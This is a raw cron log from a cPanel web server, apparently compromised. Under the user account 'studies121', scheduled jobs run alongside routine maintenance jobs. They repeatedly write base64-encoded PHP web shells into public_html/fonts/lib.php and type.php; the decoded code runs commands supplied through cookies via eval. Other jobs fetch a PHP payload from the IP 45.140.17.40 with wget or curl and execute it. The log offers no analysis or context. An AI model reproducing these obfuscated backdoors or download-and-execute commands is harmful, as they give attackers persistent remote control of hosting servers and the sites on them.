Aug 31 16:54:01 ip-184-168-122-23 CROND[32415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:54:01 ip-184-168-122-23 CROND[32417]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:54:01 ip-184-168-122-23 CROND[32416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:55:01 ip-184-168-122-23 CROND[32515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:55:02 ip-184-168-122-23 CROND[32517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:55:02 ip-184-168-122-23 CROND[32521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:55:02 ip-184-168-122-23 CROND[32519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:55:02 ip-184-168-122-23 CROND[32520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:55:02 ip-184-168-122-23 CROND[32518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:56:02 ip-184-168-122-23 CROND[32653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:56:02 ip-184-168-122-23 CROND[32655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:56:02 ip-184-168-122-23 CROND[32656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:56:02 ip-184-168-122-23 CROND[32658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:56:02 ip-184-168-122-23 CROND[32657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:57:01 ip-184-168-122-23 CROND[32751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:57:01 ip-184-168-122-23 CROND[32752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:57:01 ip-184-168-122-23 CROND[32758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:57:01 ip-184-168-122-23 CROND[32755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:58:01 ip-184-168-122-23 CROND[389]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:58:01 ip-184-168-122-23 CROND[392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:58:01 ip-184-168-122-23 CROND[391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:58:01 ip-184-168-122-23 CROND[393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:58:01 ip-184-168-122-23 CROND[394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:59:02 ip-184-168-122-23 CROND[483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:59:02 ip-184-168-122-23 CROND[485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:59:02 ip-184-168-122-23 CROND[488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:59:02 ip-184-168-122-23 CROND[487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:00:01 ip-184-168-122-23 CROND[709]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:00:01 ip-184-168-122-23 CROND[705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:00:01 ip-184-168-122-23 CROND[706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:00:01 ip-184-168-122-23 CROND[707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:00:01 ip-184-168-122-23 CROND[708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:00:01 ip-184-168-122-23 CROND[711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:00:02 ip-184-168-122-23 CROND[712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:00:02 ip-184-168-122-23 CROND[714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:01:01 ip-184-168-122-23 CROND[833]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[833]: starting 0anacron
Aug 31 17:01:01 ip-184-168-122-23 CROND[839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:01:01 ip-184-168-122-23 CROND[841]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 17:01:01 ip-184-168-122-23 CROND[842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:01:01 ip-184-168-122-23 CROND[843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:01:01 ip-184-168-122-23 CROND[840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[853]: finished 0anacron
Aug 31 17:02:01 ip-184-168-122-23 CROND[949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:02:01 ip-184-168-122-23 CROND[951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:02:01 ip-184-168-122-23 CROND[952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:02:01 ip-184-168-122-23 CROND[953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:02:01 ip-184-168-122-23 CROND[954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:03:01 ip-184-168-122-23 CROND[1036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:03:01 ip-184-168-122-23 CROND[1038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:03:01 ip-184-168-122-23 CROND[1039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:03:01 ip-184-168-122-23 CROND[1041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:04:01 ip-184-168-122-23 CROND[1121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:04:01 ip-184-168-122-23 CROND[1123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:04:01 ip-184-168-122-23 CROND[1124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:04:01 ip-184-168-122-23 CROND[1125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:04:01 ip-184-168-122-23 CROND[1126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:05:02 ip-184-168-122-23 CROND[1228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:05:02 ip-184-168-122-23 CROND[1229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:05:02 ip-184-168-122-23 CROND[1231]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:05:02 ip-184-168-122-23 CROND[1230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:05:02 ip-184-168-122-23 CROND[1233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:05:02 ip-184-168-122-23 CROND[1234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 17:05:02 ip-184-168-122-23 CROND[1235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:06:01 ip-184-168-122-23 CROND[1455]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:06:01 ip-184-168-122-23 CROND[1457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:06:01 ip-184-168-122-23 CROND[1459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
